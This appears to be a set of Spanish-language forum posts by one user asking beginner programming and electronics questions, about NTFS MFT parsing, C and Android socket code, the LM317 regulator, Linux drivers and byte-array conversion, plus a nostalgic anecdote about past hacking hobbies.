¿Alguien sabe si algo cambio en windows 10 sobre la tabla MFT?

Hace un tiempo hice una aplicación para llegar a MFT y revisar los archivos borrados, no lo terminé por falta de tiempo, pero ahora que lo encontré quise continuarlo; ahora solo debo acomodar la información, sobre los nombres, el tamaño de los archivos, descubrir como decodificar la información como fecha, hora, etc. (Cosa que en ese tiempo no logré entender y creo me quedaré así).

Ahora que lo volví a ejecutar, me da archivos tmp, sql, bfl, etc, etc... pero nada más, los archivos eliminados simplemente no me muestra ninguno, antes con win 7 de casualidad encontraba cosas como docx o txt, creo algun jpg pero ahora nada.

Regrese a una página donde venia la explicación de MFT y un programa hecho en VB, y cuando ejecuté el programa, me dió los mismos nombres que mi aplicación, el cuál lo hice en C, pero ninguno me muestra algun archivo reconocido de extensión.

¿Alguien sabe si hay restricciones nuevas, MFT fue modificado o que saben sobre eso?.

Saludos
#27
Hola

No sé si mi pregunta va en esta zona, pero bueno, espero no poner desorden.

Estaba intentando hacer un programa que me realice una transferencia de archivos basado en C en linux, después de analizar el código, no logro hacerlo funcionar, ya que lo único que logro mandar es un archivo txt e incompleto, y los demás archivos no los logro mandar correctamente.

Espero haya alguien aquí que me pueda ayudar revisando lo que hice y espero me pueda ayudar diciendome que estoy haciendo mal. Hace unos años lo intenté y logré hacerlo funcionar, pero perdí el código y ahora no recuerdo que hice, pero la idea de como lo inicié aún la recuerdo, sin embargo, no logro entender que estoy haciendo mal esta vez.

Dejaré el código, solo espero sea entendible ya que moví varias cosas para hacerlo funcionar.

Servidor

Código: c
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>


int main(){

int sockfd, bytenumero;
struct sockaddr_in re;
int sin_size, confd;
long bff, bfin, erecv;
char buf[1024];

sockfd = socket(AF_INET, SOCK_STREAM, 0);

re.sin_family = AF_INET;
re.sin_port = htons(33371);
re.sin_addr.s_addr = INADDR_ANY;
memset(re.sin_zero, 0, 8);

bind(sockfd, (struct sockaddr*)&re, sizeof(struct sockaddr));

sin_size = sizeof(struct sockaddr_in);

listen(sockfd, 10);

sockfd = accept(sockfd, (struct sockaddr *)&re, &sin_size);

recv(sockfd, (char*)bff, sizeof(long), 0);
bfin = ntohl(*((long*)bff));

send(sockfd, "listo", 5, 0);

printf("%d", bfin);

FILE *flito = fopen("/home/grimoire/ko.txt", "wb");

erecv = 0;
bytenumero = 0;

while(erecv < bfin){
   
    bytenumero = recv(sockfd, buf, sizeof(buf), 0);
    fwrite(buf, 1, bytenumero, flito);
   
    erecv = erecv + bytenumero;
    printf("%d", erecv);
   
}


fclose(flito);
close(sockfd);

return 0;

}


Cliente

Código: c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>


int main(){


int leido;
int sockfd, ienv;
long siz, zout;
struct hostent *he;
struct sockaddr_in t_add;
FILE *pfile, *flista;
char bff[5];
char bufer[1024];

he = gethostbyname("127.0.0.1");

sockfd = socket(AF_INET, SOCK_STREAM, 0);

t_add.sin_family = AF_INET;
t_add.sin_port = htons(33371);
t_add.sin_addr = *((struct in_addr*)he->h_addr);
memset(t_add.sin_zero,0, 8);


  connect(sockfd, (struct sockaddr*)&t_add, sizeof(struct sockaddr));
 
  pfile = fopen("/home/grimoire/korn.txt", "rb");
  fseek(pfile, 0, SEEK_END);
  siz = ftell(pfile);
  rewind(pfile);
 
  zout = htonl(siz);
 
  printf("%ld", siz);

  send(sockfd, (char*)&zout, sizeof(zout), 0);
 
  recv(sockfd, bff, sizeof(bff), 0);
 
  printf("\n%s\n", bff);
 
  ienv = 0;
  leido = 0;
 
  if(flista != NULL)
 
  while(!feof(pfile)){
   
    leido = fread(bufer, 1, sizeof(bufer), pfile);
    send(sockfd, bufer, leido, 0);
    ienv = ienv + leido;
   
    printf("%d", ienv);
   
  }
 
 
  fclose(pfile);
  close(sockfd);
 
  return 0;

}



#28
¿Todavía utilizan las mega-protecciones de "antivirus+antimalware+firewall+otro antivirus" en sus computadoras?

Mi duda viene desde que veo que mi compu gasta más recursos que a veces veo inncesarios.

Antes recuerdo que era necesario tener un antivirus ejecutado y otro como segunda opción apagado, un anti-malware y un firewall, ya que recuerdo que las páginas de internet, tienian sus downloaders de troyanos, las cosas que te enviaban tenias que analizarlas, los usb tenias que protegerlos, ni hablar de los cracks, de la conexión directa, etc, etc, etc.

Pero desde que los routers ya no permiten conexiones directas, las páginas de internet han disminuido al grado de ya solo ver, blogs, redes sociales y servidores de descarga... los foros hay posibilidad de infección, pero todo depende si el admin no tiene nada mejor que hacer más que infectar a sus usuarios xD

Además ahora ya no es tán necesarios los cracks, ya ahora existen las versiones free, version de estudiante, los analisis de virus online, hay personas que todavía siguen publicando seriales, ya las personas denuncian si cuando bajaron un patch estaba infectado, etc, etc, etc.

He visto disminuido las infecciones, y más desde que muchos ya le perdieron el miedo a linux, otros por vanidad se compran Mac y los usuarios de windows, tienen lo que son permisos de administrador, defender, firewall, memoria random y regresamos a las versiones free de protecciones.

¿Creen que aun sea necesario tener la paranoia de tener tantas cosas?, porque en la compu que tengo, vivo feliz con un firewall nada más, que tiene funciones como antivirus al avisarme de cosas raras, pero en realidad solo es un firewall. Y no he tenido infecciones, ni sobrecargas de CPU por algo que se este moviendo constatemente como un virus ni nada, tan solo con un firewall+adblock+noscript no me ha pasado hasta ahorita nada.

¿Pero ustedes que piensan?, ¿acaso la red se ha vuelto más segura o simplemente he tenido suerte y si no tengo cuidado podría caer ante un virus rápido?, ¿o ya las personas pueden eliminar su paranoia de las protecciones en su computadora?
#29
Hola

Estoy queriendo aprender más sobre electronica, así que me propuse a  hacer un regulador de voltaje, ya que me servira para hacer ejercicios en un protoboard y no tener que conseguir pilas ni nada de varios voltajes

La creación fue sencilla, pero no me gusta quedarme con la idea de que lo hice y listo, quiero entender lo más posible como funciona... el clásico "¿porque?".

Hay algunas cosas que son por logica deducibles, pero hay algo que no logro entender, y es esa resistencia que se coloca en el LM317 entre la patilla OUT y ADJ

¿Cual es la función de la resistencia?, no entiendo porque colocar una resistencia entre OUT y ADJ del Lm317, segun un libro de electronica, del regulador salen 1,25V y puede aumentar con una o dos resistencias si se coloca entre las patillas de OUT y ADJ, ¿pero no comprendo el porque, como es que aumenta?, ¿me podrían explicar cual es el funcionamiento de la resistencia colocadas en esas dos zonas (OUT y ADJ)? profavor
#30
¿Alguien me podría dar una explicación de para que y como funcionan los flags? CF PF IF...

Es que no entiendo para que sirven y como funcionan, he buscado información y se menciona sobre que es uso aritmético, pero realmente no comprendo en teoría para que sirve y como funcionan

Espero me puedan ayudar con una rápida explicación sobre esto

Saludos
#31
¿Alguien de aquí, ha programado drivers en Linux?.

Lo que sucede es que tengo una duda sobre "Character Device Drivers", no entiendo cual es su funcionamiento, cuando lo ejecuto me aparece como proceso, hay varios ejemplos, yo hice uno donde te menciona cuantas veces viste el proceso usando cat, que esta en /dev/app "por ejemplo", pero la verdad no entiendo para que sirve hacer eso.

Estuve googleando varias páginas pero no explican mucho sobre eso, la mayoría solo menciona que es una manera de manipular el Driver escribiendo, leyendo o dependiendo lo que necesites, pero ¿y luego?, solo entiendo que si hago un Driver que necesite de lectura y escritura podría usarlo, por ejemplo, el Driver del Audio, si necesito controlar el hardware y modificar el Driver para que establecer parametro diferentes, con eso lo podría hacer, ¿acaso es para eso? o ¿que es en realidad?, me podrían dar una explicación o resumen de ese método, por favor

Saludos.
#32
Me pueden recomendar un hosting con acceso FTP, no necesito que de mucho espacio, con o sin publicidad, ni tampoco php, ni base de datos, ni nada por el estilo, solo deseo un lugar para alojar archivos por FTP y que no lo cierren, ¿alguien conoce alguno?
#33
 Hola

¿A alguno de ustedes les ha pasado que en windows 8.1 pro les marca que les faltan dll's?

Lo que pasa es que hice un programa en C, compila correctamente y todo, en windows 10 se ejecuta bien, pero cuando intenté usarlo en un windows 8.1 pro, me aparece que necesito las librerías ms-win-crt-*; descargo todas las que me pide y cuando lo ejecuto me dice que no se puede vincular toupper con el programa

intenté intalando las herramientas de VC++ que mencionan en windows update sobre windows 8.1, pero tampoco me arregló el problema

¿alguien sabe si necesito cambiar algo o que pasa?
#34
Hola

¿Alguien se ha encontrado con algún hash así?

9e5e82fa0f4da175d7822ba55a2a8?

no logro reconocer que tipo de encriptación es...
#35
hola

Estoy tratando de crear un cliente-servidor entre un celular android y linux en PC, ya logré hacer la conexión, puedo mandar y recibir datos o en este caso, "cadenas de texto", tal vez estoy muy acostumbrado a C, pero como recordaran, con una conexión ya realizada se puede empezar a comunicar los sockets.

Bueno, ya logre esa comunicación, pero no se si funcione de la misma manera con Java, hasta el momento hago la conexión y mando un "hola" de android a la PC, y después mando alguna frase de la PC a android, pero aquí viene mi problema.

Al principio había dejado un botón y un textview para ver si se estaba realizando la conexión y la información se mandaba correctamente, y todo va bien, oprimo el botón para mandar un string desde android a la PC y después puedo volver a recibir otra cadena de caracteres desde la compu hacia android, etc, el clásico recv y send.

Pero como mencioné, tengo que oprimir un botón para poder mandar datos constantemente desde android a la PC y asi lograr mandar datos desde la PC a android nuevamente, y me gustaría poder mandar y recibir datos sin tener que oprimir nada en el celular.

Por ejemplo, me gustaría que cuando la aplicación en andriod se inicie, me mande una frase de "conexion aceptada", después yo mandar un frase de "hola", y android me mande otra cosa y así continuamente hasta que se termine la conexión. Para eso necesito saber como mantener la conexión activa y android reciba y mande información sin oprimir algo.

Traté de quitar el listener del botón y poner el socket en onCreate directamente, pero se detiene la aplicación, lo que quiere decir que así no funciona, ¿alguien me podría decir como realizar esa función, mantener la conexión activa y poder interactuar automáticamente con android?

Les dejo el código que encontré, lo he estado estudiando y modificando varias cosas para entender las cosas. A ver si me pueden explicar como realizar lo que necesito o como podría hacerlo de otra manera

Código: java
package com.clint;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;

import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.os.StrictMode;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends ActionBarActivity {

EditText textOut;
TextView textIn;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

textOut = (EditText)findViewById(R.id.textout);
     Button buttonSend = (Button)findViewById(R.id.send);
     textIn = (TextView)findViewById(R.id.textin);
     buttonSend.setOnClickListener(buttonSendOnClickListener);
}

Button.OnClickListener buttonSendOnClickListener = new Button.OnClickListener(){

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
Socket socket = null;
DataOutputStream dataOutputStream = null;
DataInputStream dataInputStream = null;

try {
  socket = new Socket("192.168.0.17", 8888);
  dataOutputStream = new DataOutputStream(socket.getOutputStream());
  dataInputStream = new DataInputStream(socket.getInputStream());
  dataOutputStream.writeUTF("hola");
  textIn.setText(dataInputStream.readUTF());
} catch (UnknownHostException e) {
  // TODO Auto-generated catch block
  e.printStackTrace();
} catch (IOException e) {
  // TODO Auto-generated catch block
  e.printStackTrace();
}
finally{
  if (socket != null){
   try {
    socket.close();
   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }
  }

  if (dataOutputStream != null){
   try {
    dataOutputStream.close();
   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }
  }

  if (dataInputStream != null){
   try {
    dataInputStream.close();
   } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
   }
  }
}
}};
}
#36
hola

Tengo una duda sobre como podría guardar información de una petición al navegador, tanto como el lenguaje de programación que más me serviría como la forma de hacerlo.

Lo que pasa es que quisiera hacer en C o PHP un código que haga una petición de consulta a un php vinculado con mysql, y lo que se imprima en el explorador, sea guardado en un txt, por ejemplo:

mipaginaweb/consulta.php?id=1

me gustaría ya sea en C o en php, que haga la petición a la pagina mipaginaweb/consulta.php?id=i <-- con una variable de un for para imprimir varias peticiones y el resultado guardarlo en un txt, entonces si las diferentes "id" tienen números, me gustaría que en el txt al abrirlo, me apareciera "1234......" o si en vez de id fuera otra variable como nombre, me apareciera en el txt "alan, martín, pancho, juan" o si pusiera los dos "id&nombre", apareciera "1alan 2 martín 3 pancho 4 juan...."

solo quiero hacer una petición en C o PHP a una dirección como la anterior, el resultado sea leído por el programa y que sea  guardado en un txt

Espero me haya dado a entender, espero me puedan dar una idea de como hacerlo y cual de los dos lenguajes sería mas eficaz .

saludos
#37
Hola

He estado viendo algunos programas para firefox como firebug, que modifican en tiempo real un HTML, puede cambiar fácilmente el código aunque no de manera permanente, eso no lo permite firebug porque no fue diseñado para esa razón, sin embargo, se me hizo interesante poder cambiar cosas de la web, aunque sea localmente y dejarlas así permanentemente como lo hacen los programas que te cambian el diseño desde un Addon de Firefox.

Quisiera intentar hacer lo mismo, pero necesito ayuda con algunas explicaciones, ya que mi conocimiento sobre la WEB es algo limitado. He estado leyendo y googleando un poco y he encontrado que lo que busco podría estar en los archivos DOM, busque en la documentación de firefox y encontré que DOM es un sqlite; estoy leyendo sobre DOM y su programación para entenderle.

Me gustaría saber si alguno de ustedes me podría confirmar, si al modificar DOM directamente, ¿podría hacer lo que firebug hace?, modificar los objectos de la web en tiempo real, por ejemplo, si la pagina tiene un fondo blanco, entonces con buscar Style en DOM, podría modificar el color de blanco a negro y en ese mismo instante se vería, o si encuentro los textos y los modifico, en ese momento en la pagina donde diga "Hola mundo", le modifico el "Hola" y coloco "Adiós", ¿entonces ahora diría, "Adiós Mundo"?.

Siento que estoy cerca de entenderlo, pero no quiero pasar horas buscando algo que posiblemente no tiene nada que ver con el tema, por eso recurro a ustedes y si es posible, ¿que documentación me recomendarían estudiar para conocer el tema?. En caso de que este en lo correcto sobre DOM, ojala tengan información sobre como modificar el sqlite y hacer que la pagina cambie.

Saludos.  ;D
#38
Off Topic / Solo una anecdota con una pregunta.
Agosto 10, 2014, 10:00:04 PM
Hola

Solo quería escribir una anécdota con una pregunta.

Hace unos días, un amigo escribió en su cuenta de Facebook, una pregunta a una pagina de un Software, no recuerdo el nombre pero les escribió preguntando sobre un error que había encontrado al abrir un archivo, al analizarlo descubrí que podría realizarse un exploit; se lo explique a mi amigo y me preguntó que si podría enseñarle, le mencione que no le iba a enseñar pero si le interesaba el tema podía explicarle de lo poco o mucho que aprendí.

Eso me llevo a revisar códigos de hace unos años, la verdad cuando los realizaba decía, "cuando vuelva a ver esto, me sentiré ridículo" y fue cierto, mientras los revisaba me di cuenta de cosas que podía optimizar, cosas innecesarias pero que en su momento era la única manera que conocía para realizarlo, también abrió viejas heridas sobre cosas que borre por error en algún formateo e incluso encontré códigos que no recordaba que los haya realizado; todo eso me hizo recordar viejos tiempos donde pasaba horas buscando información, intentando hacer algo sin darme por vencido, insultos que recibía por hacer preguntas tontas, una vez perdí la noción del tiempo, me levante a las 8 de la mañana, encendí mi computadora y empece a trabajar, quise descansar para supuestamente desayunar y me di cuenta que eran las 6 de la tarde  :P. También tuvo mis momentos de éxito, de eso no no me quejo.

Pero después cuando ya lograste algún objetivo o experimentaste lo que es el hacking como:  encontrar bugs y buscar como explotarlos, tener acceso a otra computadora, crear programas para no volver a usar nada de internet, lograr cosas que a lo mejor te emociono al verlo en alguna película o tutorial de internet; vaya, ya sean cosas pequeñas o enormes pero realizadas por uno mismo, son éxitos personales, porque tampoco les voy a mentir diciendo que soy un gran hacker buscado por la CIA y estoy aquí escribiéndoles  8) jaja.

Pero después de volver a ver recordar todo eso, me regreso la sensación de volver a intentar crear algún malware y que he dejado de hacer, ya sea porque en ese entonces era un niño que solo tenia que avanzar en la escuela y tenia más tiempo libre y ahora ya tengo otras actividades (novia, trabajo, no había terminado la universidad y acabo de regresar para terminar la escuela, amigos, paseos, etc), y porque ahora ya estoy enfocado en otras cosas, me interesé mucho por el tema forense, el software comercial, incluso la creación de un sistema operativo (codigo libre); sin embargo, cuando volví a ver todo eso, me regreso la sensación de volver a crear códigos malware, lanzarlos y darme cuenta que no funcionó y volver a intentarlo hasta que lo logre, volver a entrar a foros para que me regañen sobre mis preguntas tontas jaja  ;D, volver a pasar una buenas horas programando, para que al final, un día cualquiera, encender la computadora, darte cuenta que tu trabajo funciono y sentirte contento e incluso tu sólito auto-nombrarte "el mejor hacker del mundo"  :P ;D jajaja

¿Pero ustedes que opinan?, ¿creen que valdría la pena regresar a eso, sabiendo que ya están enfocados en otros temas ya sean personales o laborales?, porque bueno, no he perdido ese interés de encontrar un error y ver si puedo explotarlo o realizar algún programa con sockets, e incluso me mantengo informado lo más que puedo sobre temas nuevos sobre hacking, solo que como les menciono, ya casi no los practico. ¿O creen que debería darle punto y aparte a ese tema y enfocarme a lo que hago actualmente y dejar todo eso como un buen recuerdo?.

Bueno, espero alguna opinión, sino el tiempo dirá si podre volver a intentarlo o mejor no.  ;D

#39
me podria decir si BitConverter.getbytes es lo mismo que malloc?

por ejemplo en VB hacer esto...

Código: vbnet
Dim lowoffset() As Byte = BitConverter.GetBytes(curBig)


sera lo mismo que hacer....?

Código: c
BYTE *lowoffset = (BYTE*)malloc(sizeof(curBig))


curBig es un int64 = 322122547

o cual seria su equivalente en C?
#40
hola

tengo una duda, como podria analizar un array para ubicar hexadecimales, tomar esos hexadecimales, convertirlos en decimales y guardarlos en otro lado?

por ejemplo


BYTE *buffer = {0x00, 0x10, 0xAF, 0x03, 0xFF, 0x00, 0x02, 0x34, 0x03, 0x08, 0x13}

quisiera buscar en ese array por ejemplo el quinto hexadecimal, 0x00 buscandolo desde el inicio hasta el quito, eso imagino lo puedo hacer con un for()

pero al llegar a 0x00 quiero guardar en otro array ese hexadecimal y ademas el hexadecimal continuo, por ejemplo

0x00 y 0x02 y guardarlo para que quede asi 0x0002

podria decir que se veria asi buffer2 = {0x0002}

despues cambiarlo por ser endian para que quede al reves, 0x0200, y para finalizar cambiarlo a decimal que serian 512 y guardar eso en un integer

pero que la funcion for() no termine alli sino que ademas continue buscando for() otro hexadecimal en el mismo array, hacer los mismo pasos y asi continuamente si es que coloco mas hexadecimales

pero no se me ocurre como hacerlo, se que tendria que buscar con un for, al llegar al hexadecimal se que tengo que guardarlo

buffer2[n] = buffer[j]

despues tomar lo datos de buffer2 y voltearlos (0x00002 , 0x0200), convertirlo en decimal, 512

y guardarlos en un integer

podria decirse que tengo la idea pero no se me ocurre como hacerlo en codigo, me podrian ayudar porfavor